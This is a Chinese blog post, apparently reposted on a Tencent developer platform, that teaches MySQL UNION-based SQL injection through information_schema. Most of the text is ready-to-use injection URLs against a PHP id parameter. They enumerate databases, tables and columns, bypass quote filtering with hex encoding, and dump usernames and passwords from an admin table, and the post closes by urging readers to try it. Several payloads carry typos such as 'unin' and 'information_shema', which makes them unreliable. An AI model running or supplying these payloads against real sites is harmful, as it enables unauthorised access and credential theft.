曲线渗透，mysql另类的入侵小技巧看到就要防范
通常在mysql5.0版本以下只能通过猜解来得到表名和字段名，若是程序员把表名和字段名改的非常偏僻，黑客就很难猜解了。因为渗透基础都是基于黑盒测试的，根本没法得到站点后台程序的表以及字段的结构信息。但是在mysql5中，新增加了一个叫information_schema的系统数据库，该库封装了mysql数据库的系统信息。同时也存储了其他所有数据库的信息。information_scema是一个虚拟数据库，并不物理存在，在执行select的时候，从其他数据库获取相应的信息。
schemata 存储数据库名。
关键字段：schema_name.表示数据库名称。
tabales:存储表名。
关键字段：table_schema，表示表所属的数据库名称。
tabale_name:表示表的名称。
columns:存储字段名。
关键字段：table_schema 表示表所属的数据库名称。
column_name：表示字段名。
数据库版本判断。一般数据库是4.0就支持union查询。
查版本命令是version() , 数据库名是database()，数据库用户名是user()
1.查找数据库名
通过查找数据库的操作，可以迅速得到所有的数据库名。有了这些找数据库名，可以进行跨找数据库查询，执行语句。
比如说一个站，php的有注入漏洞，注入猜解发现有8个字段，爆出2,5，
new.php?id=18 and 1=2 union select 1,schema_name,3,4,5,6,7,8 from information_shema.schemata limit n.1表示查看第n个数据库的位置，通过变换该数字可以查询其他数据库名，比如想查第5个数据库名字，执行语句：new.php?id=18 and 1=2 union select 1,schema_name,3,4,5,6,7,8 from information_shema.schemata limit 5.1
2.查找表名
net.php?id=18 and 1=2 unin select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=库的hex值 limit n,1使用hex编码可绕过程序对单引号的过滤，n表示查询表的位置，该数字变换。比如说第一库名是hake01，把hake01转成hex值是0x68616B653031。
构造语句：net.php?id=18 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x68616B653031 limit 1,1
要查询hake01库，第三个表名，构造语句：net.php?id=18 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x68616B653031 limit 3,1
3查询字段名
通过查询字段名操作，可以迅速获取指定表的所有字段名，有了字段名就可以爆出字段中的数据。
执行语句：net.php?id=18 and 1=2 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=字段的hex值 limit n,1 表名也需要转换成hex值，n代表字段的位置。比如hake01库中，第一个表是admin.
相查admin中的字段，admin的hex值是0x61646D696E。
执行语句：net.php?id=18 and 1=2 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646D696E limit 1,1
net.php?id=18 and 1=2 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646D696E limit 2,1
通过反复查询得到字段名name 和pass.
再次构造语句：net.php?id=18 and 1=2 union select 1,name,3,4,pass,6,78 from hake01.admin
就爆出了字段名。
虹之菌BUG这次给大家支的招就是这个了，有兴趣的小伙伴可以实践应用一下，还是挺不错的。
- 发表于:
- 原文链接：https://kuaibao.qq.com/s/20180613A131V800?refer=cp_1026
- 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号（企鹅号）传播渠道之一，根据《腾讯内容开放平台服务协议》转载发布内容。
- 如有侵权，请联系 cloudcommunity@tencent.com 删除。
相关快讯
扫码
添加站长 进交流群
领取专属 10元无门槛券
私享最新 技术干货
腾讯云开发者
